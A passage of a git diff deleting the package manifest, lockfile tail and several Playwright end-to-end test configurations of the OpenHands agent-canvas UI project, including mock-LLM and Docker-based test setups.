"https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/yargs/node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/yargs/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/yargs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", - "dev": true, - "license": "MIT", - "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" - } - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-validation-error": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", - "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - } - }, - "node_modules/zustand": { - "version": "5.0.12", - "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz", - "integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==", - "license": "MIT", - "engines": { - "node": ">=12.20.0" - }, - "peerDependencies": { - "@types/react": ">=18.0.0", - "immer": ">=9.0.6", - "react": ">=18.0.0", - "use-sync-external-store": ">=1.2.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "immer": { - "optional": true - }, - "react": { - "optional": true - }, - "use-sync-external-store": { - "optional": true - } - } - }, - "node_modules/zwitch": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", - "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - } - } -} diff --git a/package.json b/package.json deleted file mode 100644 index 59ca98773..000000000 --- a/package.json +++ /dev/null @@ -1,242 +0,0 @@ -{ - "name": "@openhands/agent-canvas", - "version": "1.6.1", - "description": "Agent Canvas UI for OpenHands - run AI coding agents with a visual interface", - "license": "MIT", - "private": false, - "type": "module", - "repository": { - "type": "git", - "url": "https://github.com/OpenHands/agent-canvas" - }, - "homepage": "https://github.com/OpenHands/agent-canvas#readme", - "bugs": { - "url": "https://github.com/OpenHands/agent-canvas/issues" - }, - "bin": { - "agent-canvas": "bin/agent-canvas.mjs" - }, - "engines": { - "node": ">=22.12.0" - }, - "dependencies": { - "@heroui/react": "2.8.10", - "@microlink/react-json-view": "1.31.20", - "@monaco-editor/react": "4.7.0", - "@openhands/extensions": "0.11.0", - "@openhands/typescript-client": "1.34.0", - "@react-router/node": "7.17.0", - "@react-router/serve": "7.17.0", - "@tailwindcss/vite": "4.2.4", - "@tanstack/react-query": "5.100.9", - "@types/shell-quote": "1.7.5", - "@uidotdev/usehooks": "2.4.1", - "@xterm/addon-fit": "0.11.0", - "@xterm/xterm": "6.0.0", - "axios": "1.18.0", - "class-variance-authority": "0.7.1", - "clsx": "2.1.1", - "downshift": "9.3.2", - "framer-motion": "12.38.0", - "httpxy": "0.5.3", - "i18next": "26.0.8", - "i18next-browser-languagedetector": "8.2.1", - "i18next-http-backend": "4.0.0", - "isbot": "5.1.39", - "lucide-react": "1.25.0", - "monaco-editor": "0.55.1", - "posthog-js": "1.372.6", - "react": "19.2.5", - "react-dom": "19.2.5", - "react-hot-toast": "2.6.0", - "react-i18next": "17.0.6", - "react-icons": "5.6.0", - "react-markdown": "10.1.0", - "react-router": "7.17.0", - "react-syntax-highlighter": "16.1.1", - "rehype-raw": "7.0.0", - "rehype-sanitize": "6.0.0", - "remark-breaks": "4.0.0", - "remark-gfm": "4.0.1", - "shell-quote": "1.9.0", - "sirv": "3.0.2", - "sirv-cli": "3.0.1", - "socket.io-client": "4.8.3", - "tailwind-merge": "3.5.0", - "tailwind-scrollbar": "4.0.2", - "unist-util-visit": "5.1.0", - "uuid": "14.0.0", - "vite": "8.0.16", - "winston": "3.19.0", - "winston-daily-rotate-file": "5.0.0", - "zustand": "5.0.12" - }, - "scripts": { - "dev": "node --env-file-if-exists=.env scripts/dev-with-automation.mjs", - "dev:static": "node --env-file-if-exists=.env scripts/dev-static.mjs", - "dev:extra-backend": "node --env-file-if-exists=.env scripts/dev-extra-backend.mjs", - "dev:minimal": "node --env-file-if-exists=.env scripts/dev-safe.mjs", - "dev:frontend": "npm run make-i18n && cross-env VITE_MOCK_API=false react-router dev", - "dev:mock": "npm run make-i18n && cross-env VITE_MOCK_API=true react-router dev", - "build": "npm run build:app", - "build:mock": "npm run make-i18n && cross-env VITE_MOCK_API=true react-router build", - "start": "npx sirv-cli build/ --single", - "test": "npm run make-i18n && vitest run", - "test:e2e": "playwright test --pass-with-no-tests", - "test:e2e:live": "node --env-file-if-exists=.env tests/e2e/live/scripts/run-live-e2e.mjs", - "test:e2e:mock-llm": "playwright test --config=playwright.mock-llm.config.ts", - "test:e2e:mock-llm:docker": "playwright test --config=playwright.mock-llm-docker.config.ts", - "test:coverage": "npm run make-i18n && vitest run --coverage", - "dev_wsl": "VITE_WATCH_USE_POLLING=true vite", - "preview": "vite preview", - "make-i18n": "node scripts/make-i18n-translations.cjs", - "prelint": "npm run make-i18n", - "lint": "npm run typecheck && eslint src && prettier --check src/**/*.{ts,tsx}", - "lint:fix": "eslint src --fix && prettier --write src/**/*.{ts,tsx}", - "prepare": "husky", - "typecheck": "react-router typegen && tsc", - "typecheck:staged": "react-router typegen && npx tsc --noEmit --skipLibCheck", - "check-translation-completeness": "node scripts/check-translation-completeness.cjs", - "build:app": "npm run make-i18n && react-router build", - "build:lib": "npm run make-i18n && react-router typegen && cross-env BUILD_LIB=true vite build && tsc -p tsconfig.lib.json", - "build:docker": "node scripts/docker-build.mjs", - "example:acp-docker:env": "node scripts/gen-acp-docker-env.mjs", - "desktop": "npm run build:app && electron electron/main.mjs", - "build:desktop": "npm run build:app && node scripts/download-uv.mjs && node scripts/download-node.mjs && electron-builder --config electron-builder.config.mjs", - "build:desktop:universal": "npm run build:app && node scripts/download-uv.mjs && node scripts/download-node.mjs && cross-env ELECTRON_ARCH=universal electron-builder --config electron-builder.config.mjs", - "download-uv": "node scripts/download-uv.mjs", - "download-node": "node scripts/download-node.mjs" - }, - "lint-staged": { - "src/**/*.{ts,tsx,js}": [ - "eslint --fix", - "prettier --write" - ], - "src/**/*.{ts,tsx}": [ - "node scripts/run-staged-typecheck.mjs" - ], - "src/**/*": [ - "npm run check-translation-completeness" - ] - }, - "devDependencies": { - "@eslint/eslintrc": "3.3.1", - "@eslint/js": "9.39.4", - "@mswjs/socket.io-binding": "0.2.0", - "@playwright/test": "1.59.1", - "@react-router/dev": "7.17.0", - "@tailwindcss/typography": "0.5.19", - "@tanstack/eslint-plugin-query": "5.100.9", - "@testing-library/dom": "10.4.1", - "@testing-library/jest-dom": "6.9.1", - "@testing-library/react": "16.3.2", - "@testing-library/user-event": "14.6.1", - "@types/mdast": "4.0.4", - "@types/node": "25.6.0", - "@types/react": "19.2.14", - "@types/react-dom": "19.2.3", - "@types/react-syntax-highlighter": "15.5.13", - "@typescript-eslint/eslint-plugin": "8.59.2", - "@typescript-eslint/parser": "8.59.2", - "@vercel/react-router": "1.3.0", - "@vitest/coverage-v8": "4.1.5", - "cross-env": "10.1.0", - "electron": "42.3.3", - "electron-builder": "26.8.1", - "eslint": "9.39.4", - "eslint-config-prettier": "10.1.8", - "eslint-import-resolver-typescript": "4.4.4", - "eslint-plugin-i18next": "6.1.4", - "eslint-plugin-import-x": "4.16.2", - "eslint-plugin-jsx-a11y": "6.10.2", - "eslint-plugin-prettier": "5.5.5", - "eslint-plugin-react": "7.37.5", - "eslint-plugin-react-hooks": "7.1.1", - "eslint-plugin-unused-imports": "4.4.1", - "globals": "16.5.0", - "husky": "9.1.7", - "jsdom": "29.1.1", - "lint-staged": "16.4.0", - "msw": "2.14.2", - "postcss-prefix-selector": "2.1.1", - "prettier": "3.8.3", - "tailwindcss": "4.2.4", - "typescript": "6.0.3", - "vite-plugin-svgr": "5.2.0", - "vitest": "4.1.5" - }, - "packageManager": "npm@10.5.0", - "volta": { - "node": "22.12.0" - }, - "msw": { - "workerDirectory": [ - "public" - ] - }, - "overrides": { - "@vercel/static-config": { - "ajv": "8.20.0" - }, - "dompurify": "3.4.7" - }, - "main": "./dist/index.cjs", - "module": "./dist/index.js", - "types": "./dist/index.d.ts", - "files": [ - "dist", - "bin", - "build", - "config", - "scripts", - "tools" - ], - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.js", - "require": "./dist/index.cjs" - }, - "./browser": { - "types": "./dist/components/browser/index.d.ts", - "import": "./dist/components/browser/index.js", - "require": "./dist/components/browser/index.cjs" - }, - "./conversation": { - "types": "./dist/components/conversation/index.d.ts", - "import": "./dist/components/conversation/index.js", - "require": "./dist/components/conversation/index.cjs" - }, - "./files": { - "types": "./dist/components/files/index.d.ts", - "import": "./dist/components/files/index.js", - "require": "./dist/components/files/index.cjs" - }, - "./settings": { - "types": "./dist/components/settings/index.d.ts", - "import": "./dist/components/settings/index.js", - "require": "./dist/components/settings/index.cjs" - }, - "./sidebar": { - "types": "./dist/components/sidebar/index.d.ts", - "import": "./dist/components/sidebar/index.js", - "require": "./dist/components/sidebar/index.cjs" - }, - "./terminal": { - "types": "./dist/components/terminal/index.d.ts", - "import": "./dist/components/terminal/index.js", - "require": "./dist/components/terminal/index.cjs" - }, - "./i18n": { - "types": "./dist/i18n/index.d.ts", - "import": "./dist/i18n/index.js", - "require": "./dist/i18n/index.cjs" - }, - "./package.json": "./package.json" - }, - "peerDependencies": { - "react": "19.2.5", - "react-dom": "19.2.5", - "react-router": "7.17.0" - } -} diff --git a/playwright.config.ts b/playwright.config.ts deleted file mode 100644 index 129af0a55..000000000 --- a/playwright.config.ts +++ /dev/null @@ -1,85 +0,0 @@ -import { defineConfig, devices } from "@playwright/test"; - -/** - * Read environment variables from file. - * https://github.com/motdotla/dotenv - */ -// import dotenv from 'dotenv'; -// import path from 'path'; -// dotenv.config({ path: path.resolve(__dirname, '.env') }); - -/** - * See https://playwright.dev/docs/test-configuration. - */ -export default defineConfig({ - testDir: "./tests/e2e", - testIgnore: ["**/e2e/live/**", "**/e2e/mock-llm/**"], - /* Run tests in files in parallel */ - fullyParallel: true, - /* Fail the build on CI if you accidentally left test.only in the source code. */ - forbidOnly: !!process.env.CI, - /* Retry on CI only */ - retries: process.env.CI ? 2 : 0, - /* Use 2 workers on CI (matches ubuntu-24.04's 2 vCPUs). Tests are isolated - * per browser context so parallel execution is safe. */ - workers: process.env.CI ? 2 : undefined, - /* Reporter to use. See https://playwright.dev/docs/test-reporters */ - reporter: "html", - - /* Shared settings for all the projects below. See https://playwright.dev/docs/api/class-testoptions. */ - use: { - /* Base URL to use in actions like `await page.goto('/')`. */ - baseURL: "http://localhost:3001/", - - /* Collect trace when retrying the failed test. See https://playwright.dev/docs/trace-viewer */ - trace: "on-first-retry", - /* Ignore SSL errors for browser agent test */ - /* Solution inspired by StackOverflow post: https://stackoverflow.com/questions/67048422/ignore-ssl-errors-with-playwright-code-generation */ - ignoreHTTPSErrors: true, - }, - - /* Configure projects for major browsers */ - projects: [ - { - name: "chromium", - use: { ...devices["Desktop Chrome"] }, - }, - - { - name: "firefox", - use: { ...devices["Desktop Firefox"] }, - }, - - { - name: "webkit", - use: { ...devices["Desktop Safari"] }, - }, - - /* Test against mobile viewports. */ - // { - // name: 'Mobile Chrome', - // use: { ...devices['Pixel 5'] }, - // }, - // { - // name: 'Mobile Safari', - // use: { ...devices['iPhone 12'] }, - // }, - - /* Test against branded browsers. */ - // { - // name: 'Microsoft Edge', - // use: { ...devices['Desktop Edge'], channel: 'msedge' }, - // }, - // { - // name: 'Google Chrome', - // use: { ...devices['Desktop Chrome'], channel: 'chrome' }, - // }, - ], - - /* Run your local dev server before starting the tests */ - webServer: { - command: "npm run dev:mock -- --port 3001", - url: "http://localhost:3001/", - reuseExistingServer: !process.env.CI, - }, -}); diff --git a/playwright.live.config.ts b/playwright.live.config.ts deleted file mode 100644 index 4312430f0..000000000 --- a/playwright.live.config.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { defineConfig, devices } from "@playwright/test"; -import { randomBytes } from "node:crypto"; - -const configuredLiveE2ESessionApiKey = - process.env.LIVE_E2E_SESSION_API_KEY?.trim(); -const liveE2ESessionApiKey = - configuredLiveE2ESessionApiKey || randomBytes(32).toString("hex"); -process.env.LIVE_E2E_SESSION_API_KEY = liveE2ESessionApiKey; -const liveE2EFrontendPort = process.env.LIVE_E2E_FRONTEND_PORT ?? "3101"; -const liveE2EBackendURL = - process.env.LIVE_E2E_BACKEND_URL ?? "http://127.0.0.1:18100"; -let liveE2EBackendPort: string; -try { - liveE2EBackendPort = new URL(liveE2EBackendURL).port || "18100"; -} catch { - throw new Error("Invalid LIVE_E2E_BACKEND_URL. Expected an absolute URL."); -} -const liveE2EFrontendURL = `http://localhost:${liveE2EFrontendPort}/`; -const liveE2EVideoMode = - process.env.LIVE_E2E_RECORD_VIDEO === "on" ? "on" : "retain-on-failure"; - -function shellQuote(value: string) { - return `'${value.replaceAll("'", "'\\''")}'`; -} - -function envAssignment(name: string, value: string) { - return `${name}=${shellQuote(value)}`; -} - -export default defineConfig({ - testDir: "./tests/e2e/live", - testMatch: /.*\.spec\.ts/, - fullyParallel: false, - forbidOnly: !!process.env.CI, - retries: process.env.CI ? 1 : 0, - workers: 1, - timeout: 180_000, - reporter: [ - ["line"], - ["json", { outputFile: "test-results-live/results.json" }], - ["html", { outputFolder: "playwright-report-live", open: "never" }], - ], - outputDir: "test-results-live", - use: { - baseURL: liveE2EFrontendURL, - screenshot: "only-on-failure", - trace: "off", - video: liveE2EVideoMode, - }, - projects: [ - { - name: "chromium", - use: { ...devices["Desktop Chrome"] }, - }, - ], - // This live stack is intended for macOS/Linux shells and Ubuntu CI runners; - // the command below intentionally uses POSIX environment assignment syntax. - webServer: { - command: - "node -e \"const fs=require('node:fs'); for (const p of ['.tmp/live-e2e-state','node_modules/.vite']) fs.rmSync(p,{recursive:true,force:true});\" && " + - [ - "OH_CANVAS_SAFE_STATE_DIR=.tmp/live-e2e-state", - envAssignment("LOCAL_BACKEND_API_KEY", liveE2ESessionApiKey), - envAssignment("OH_CANVAS_SAFE_BACKEND_PORT", liveE2EBackendPort), - "VITE_DO_NOT_TRACK=1", - "VITE_ENABLE_BROWSER_TOOLS=false", - envAssignment("VITE_FRONTEND_PORT", liveE2EFrontendPort), - "npm run dev:minimal", - ].join(" "), - url: liveE2EFrontendURL, - timeout: 120_000, - reuseExistingServer: false, - }, -}); diff --git a/playwright.mock-llm-docker.config.ts b/playwright.mock-llm-docker.config.ts deleted file mode 100644 index d59387a5f..000000000 --- a/playwright.mock-llm-docker.config.ts +++ /dev/null @@ -1,239 +0,0 @@ -/** - * Playwright config for mock-LLM E2E tests against a Docker container. - * - * Reuses the same test specs as playwright.mock-llm.config.ts but launches - * the agent-canvas stack inside a Docker container instead of via - * bin/agent-canvas.mjs + uvx. - * - * Starts two processes: - * 1. Mock LLM server (Python on the host, using openhands-sdk TestLLM) - * 2. Docker container running the agent-canvas all-in-one image - * (agent-server + automation backend + static frontend + proxy) - * The container also starts a second static-server instance on - * PUBLIC_MODE_PORT with --auth-required for auth-mode E2E tests. - * - * Networking: - * Uses --network host on Linux so the container shares the host's network - * stack. This means the agent-server inside Docker can reach the mock LLM - * server at 127.0.0.1: — identical to the npm path. - * - * For macOS/Windows (Docker Desktop with bridge networking), set - * MOCK_LLM_AGENT_URL=http://host.docker.internal: so the - * agent-server can reach the host-side mock LLM server. - * - * Required: - * - A built Docker image. Set MOCK_LLM_DOCKER_IMAGE to the image tag - * (default: ghcr.io/openhands/agent-canvas:latest). - * - Docker daemon must be running. - */ - -import { defineConfig, devices } from "@playwright/test"; -import { randomBytes } from "node:crypto"; -import { mkdirSync } from "node:fs"; -import { resolve } from "node:path"; - -// ── Docker image ──────────────────────────────────────────────────────── -const DOCKER_IMAGE = - process.env.MOCK_LLM_DOCKER_IMAGE ?? "ghcr.io/openhands/agent-canvas:latest"; - -// Container name for cleanup — unique per run to avoid collisions. -const CONTAINER_NAME = - process.env.MOCK_LLM_CONTAINER_NAME ?? - `agent-canvas-mock-llm-${randomBytes(4).toString("hex")}`; - -// ── Port allocation (separate from live E2E / dev to avoid collisions) ─ -const MOCK_LLM_PORT = process.env.MOCK_LLM_PORT ?? "9999"; - -// The Docker container exposes a single port for the unified ingress. -// With --network host this is accessible at localhost directly. -const INGRESS_PORT = process.env.MOCK_LLM_INGRESS_PORT ?? "18300"; - -// Public-mode static server — runs inside the Docker container when -// PUBLIC_MODE_PORT is set (see docker/entrypoint.sh). With --network host -// the port is accessible from the host at localhost directly. -const PUBLIC_MODE_PORT = process.env.MOCK_LLM_PUBLIC_MODE_PORT ?? "18301"; - -// ── Session API key ──────────────────────────────────────────────────── -const sessionApiKey = - process.env.MOCK_LLM_SESSION_API_KEY?.trim() || - randomBytes(32).toString("hex"); -process.env.MOCK_LLM_SESSION_API_KEY = sessionApiKey; - -// ── URLs ─────────────────────────────────────────────────────────────── -// The Docker entrypoint starts static-server.mjs with `--host ::` (dual- -// stack), so it accepts both IPv4 and IPv6 connections — same as the npm -// path's ingress.mjs. `localhost` is safe for both configs now. -// The mock LLM server (Python, host-side) also listens dual-stack. -const INGRESS_URL = `http://localhost:${INGRESS_PORT}/`; -const MOCK_LLM_URL = `http://127.0.0.1:${MOCK_LLM_PORT}`; - -// Python binary for the mock server — defaults to "python3" but CI can -// point this at a venv (e.g. ".mock-llm-venv/bin/python3") to avoid -// PEP 668 "externally managed" errors on Ubuntu 24.04+. -const MOCK_LLM_PYTHON = process.env.MOCK_LLM_PYTHON ?? "python3"; - -// Export for the test helpers — BACKEND_URL points to the ingress (API -// calls are proxied to the agent-server, so no direct backend port needed). -process.env.MOCK_LLM_BACKEND_URL = `http://localhost:${INGRESS_PORT}`; -process.env.MOCK_LLM_PORT = MOCK_LLM_PORT; -process.env.MOCK_LLM_PUBLIC_MODE_URL = `http://localhost:${PUBLIC_MODE_PORT}`; -process.env.VITE_SESSION_API_KEY = sessionApiKey; - -// MOCK_LLM_AGENT_URL — the URL the agent-server inside Docker uses to -// call the mock LLM for inference. With --network host on Linux the -// agent-server can reach 127.0.0.1 directly. For macOS/Windows Docker -// Desktop, override this to http://host.docker.internal:. -if (!process.env.MOCK_LLM_AGENT_URL) { - process.env.MOCK_LLM_AGENT_URL = MOCK_LLM_URL; -} - -// ── Skill test support ──────────────────────────────────────────────── -// The skill tests create git repos and user skill files on the host. -// We volume-mount these into the container so the agent-server can see them. - -// Project skills: host creates repos here, container sees them at a fixed path. -const SKILL_REPOS_HOST_DIR = resolve(".tmp/mock-llm-skill-repos"); -const SKILL_REPOS_CONTAINER_DIR = "/tmp/mock-llm-skill-repos"; -mkdirSync(SKILL_REPOS_HOST_DIR, { recursive: true }); -process.env.MOCK_LLM_SKILL_REPOS_CONTAINER_DIR = SKILL_REPOS_CONTAINER_DIR; - -// User skills: host creates skill files here, container mounts them at -// the agent-server's expected ~/.openhands/skills/ path. -const USER_SKILLS_HOST_DIR = resolve(".tmp/mock-llm-user-skills"); -const USER_SKILLS_CONTAINER_DIR = "/home/openhands/.openhands/skills"; -mkdirSync(USER_SKILLS_HOST_DIR, { recursive: true }); -process.env.MOCK_LLM_USER_SKILLS_HOST_DIR = USER_SKILLS_HOST_DIR; - -// ── Folder-workspace test support ────────────────────────────────────── -// The folder-workspace test creates a temp directory on the host that the -// agent-server's folder browser needs to list. Mount a shared directory into -// the container at the same path so the agent-server can see it. -const FOLDER_WORKSPACE_HOST_DIR = resolve(".tmp/e2e-folder-workspace-test"); -const FOLDER_WORKSPACE_CONTAINER_DIR = "/tmp/e2e-folder-workspace-test"; -mkdirSync(FOLDER_WORKSPACE_HOST_DIR, { recursive: true }); -process.env.MOCK_LLM_FOLDER_WORKSPACE_HOST_DIR = FOLDER_WORKSPACE_HOST_DIR; -process.env.MOCK_LLM_FOLDER_WORKSPACE_CONTAINER_DIR = - FOLDER_WORKSPACE_CONTAINER_DIR; - -// ── ACP test support ────────────────────────────────────────────────── -// The mock ACP server script lives on the host. We volume-mount it into -// the container and tell the test which container-side paths to use when -// typing the `acp_command` into the Settings UI. -const MOCK_ACP_HOST_PATH = resolve( - "tests/e2e/mock-llm/scripts/mock-acp-server.py", -); -const MOCK_ACP_CONTAINER_PATH = "/opt/mock-acp-server.py"; - -// The agent-server image ships Python 3 via the openhands-sdk base. -process.env.MOCK_ACP_CONTAINER_PYTHON = "python3"; -process.env.MOCK_ACP_CONTAINER_SCRIPT = MOCK_ACP_CONTAINER_PATH; - -const DEFAULT_CI_GLOBAL_TIMEOUT_MS = 1_200_000; -const configuredCiGlobalTimeoutMs = Number.parseInt( - process.env.MOCK_LLM_DOCKER_GLOBAL_TIMEOUT_MS ?? - String(DEFAULT_CI_GLOBAL_TIMEOUT_MS), - 10, -); -const ciGlobalTimeoutMs = Number.isFinite(configuredCiGlobalTimeoutMs) - ? configuredCiGlobalTimeoutMs - : DEFAULT_CI_GLOBAL_TIMEOUT_MS; - -export default defineConfig({ - testDir: "./tests/e2e/mock-llm", - testMatch: /.*\.spec\.ts/, - fullyParallel: false, - forbidOnly: !!process.env.CI, - // One retry for transient Docker container startup failures. - retries: process.env.CI ? 1 : 0, - workers: 1, - timeout: 60_000, - globalTimeout: process.env.CI ? ciGlobalTimeoutMs : 0, // 20 min hard cap in CI - reporter: [ - ["line"], - [ - "json", - { outputFile: "test-results-mock-llm-docker/results.json" }, - ], - [ - "html", - { - outputFolder: "playwright-report-mock-llm-docker", - open: "never", - }, - ], - ["./tests/e2e/mock-llm/reporters/done-marker-reporter.ts"], - ], - outputDir: "test-results-mock-llm-docker", - use: { - baseURL: INGRESS_URL, - screenshot: "only-on-failure", - trace: "on-first-retry", - video: "on", - }, - projects: [ - { - name: "chromium", - use: { ...devices["Desktop Chrome"] }, - }, - ], - webServer: [ - // 1. Mock LLM server (Python, on the host) - { - command: `${MOCK_LLM_PYTHON} tests/e2e/mock-llm/scripts/mock-llm-server.py --port ${MOCK_LLM_PORT}`, - url: MOCK_LLM_URL, - timeout: 30_000, - reuseExistingServer: !process.env.CI, - stdout: "pipe", - stderr: "pipe", - }, - // 2. Docker container running the agent-canvas all-in-one image - // - // Uses --network host so the container shares the host's network: - // - The ingress port is available at localhost: - // - The agent-server can reach the mock LLM at 127.0.0.1: - // - // The container is started with --rm for auto-cleanup. A named container - // is used so the teardown can `docker stop` it reliably. - // - // Note: --network host is Linux-only. On macOS/Windows Docker Desktop, - // use -p port mapping and set MOCK_LLM_AGENT_URL=http://host.docker.internal:. - { - command: [ - // Stop any leftover container from a previous failed run - `docker rm -f ${CONTAINER_NAME} 2>/dev/null;`, - "exec docker run", - "--rm", - `--name ${CONTAINER_NAME}`, - "--network host", - // Mount the mock ACP server script so the agent-server inside - // Docker can spawn it as an ACP subprocess. - `-v ${MOCK_ACP_HOST_PATH}:${MOCK_ACP_CONTAINER_PATH}:ro`, - // Mount skill test directories so the agent-server can access - // repos and user skills created by the host-side test code. - `-v ${SKILL_REPOS_HOST_DIR}:${SKILL_REPOS_CONTAINER_DIR}`, - `-v ${USER_SKILLS_HOST_DIR}:${USER_SKILLS_CONTAINER_DIR}`, - // Mount the folder-workspace test directory so the agent-server's - // folder browser can list/navigate it inside the container. - `-v ${FOLDER_WORKSPACE_HOST_DIR}:${FOLDER_WORKSPACE_CONTAINER_DIR}`, - `-e PORT=${INGRESS_PORT}`, - `-e SESSION_API_KEY=${sessionApiKey}`, - `-e OH_SESSION_API_KEYS_0=${sessionApiKey}`, - `-e PUBLIC_MODE_PORT=${PUBLIC_MODE_PORT}`, - "-e VITE_DO_NOT_TRACK=1", - "-e VITE_ENABLE_BROWSER_TOOLS=false", - DOCKER_IMAGE, - ].join(" "), - // Probe the automation list endpoint through the ingress to ensure - // the FULL stack (agent-server + automation backend + ingress) is - // up before tests start. GET /api/automation/v1 returns 200 (empty - // list) without auth — the automation backend does not enforce - // session-key auth on the list endpoint. - url: `http://localhost:${INGRESS_PORT}/api/automation/v1`, - timeout: 180_000, // Docker pull + all services startup - reuseExistingServer: !process.env.CI, - }, - ], - // globalTeardown stops the Docker container when Playwright exits. - // Playwright sends SIGTERM to the webServer command, but `docker run` - // with --rm handles cleanup automatically on termination. -}); diff --git a/playwright.mock-llm.config.ts b/playwright.mock-llm.config.ts deleted file mode 100644 index 60f5207b2..000000000 --- a/playwright.mock-llm.config.ts +++ /dev/null @@ -1,178 +0,0 @@ -/** - * Playwright config for mock-LLM E2E tests. - * - * Starts three processes: - * 1. Mock LLM server (Python, using openhands-sdk TestLLM) - * 2. Full agent-canvas stack via bin/agent-canvas.mjs (agent-server + - * automation backend + static frontend + ingress proxy), matching the - * production npm-published binary. - * 3. A second static-server instance with `--auth-required` (public mode) - * on a separate port, proxying to the same backend. Used by the - * auth-mode E2E tests. - * - * The test creates an LLM profile via the UI that points at the mock server, - * so no real LLM credentials are needed. - * - * A pre-built `build/` directory is required — the Playwright webServer - * command runs `npm run build:app` when `build/index.html` is absent. - * CI should run the build step explicitly before the tests for caching. - */ - -import { defineConfig, devices } from "@playwright/test"; -import { randomBytes } from "node:crypto"; -import { dirname, join, resolve } from "node:path"; - -// ── Port allocation (separate from live E2E / dev to avoid collisions) ─ -const MOCK_LLM_PORT = process.env.MOCK_LLM_PORT ?? "9999"; - -// The agent-canvas binary exposes a single ingress port that routes: -// /api/automation/* → automation backend -// /api/*, /sockets → agent-server -// /* → static frontend -// Tests use this single URL for both the browser (baseURL) and backend API -// calls (the ingress proxies /api/* transparently). -const INGRESS_PORT = process.env.MOCK_LLM_INGRESS_PORT ?? "18300"; - -// A second static-server instance for public-mode auth tests. It serves -// the same build/ directory with --auth-required (no baked session key) -// and proxies to the same backend. -const PUBLIC_MODE_PORT = process.env.MOCK_LLM_PUBLIC_MODE_PORT ?? "18301"; - -// ── Session API key ──────────────────────────────────────────────────── -const sessionApiKey = - process.env.MOCK_LLM_SESSION_API_KEY?.trim() || - randomBytes(32).toString("hex"); -process.env.MOCK_LLM_SESSION_API_KEY = sessionApiKey; - -// ── State directory (isolated per test run) ──────────────────────────── -const STATE_DIR = resolve(".tmp/mock-llm-state"); - -// Automation DB lives at $parent_of_STATE_DIR/automation/automations.db, -// mirroring docker/entrypoint.sh which uses $HOME/.openhands/automation/automations.db. -// Both STATE_DIR and AUTOMATION_DB_DIR must be cleaned between runs to avoid stale data. -const AUTOMATION_DB_DIR = join(dirname(STATE_DIR), "automation"); - -// ── URLs ─────────────────────────────────────────────────────────────── -const INGRESS_URL = `http://localhost:${INGRESS_PORT}/`; -const MOCK_LLM_URL = `http://127.0.0.1:${MOCK_LLM_PORT}`; - -// Python binary for the mock server — 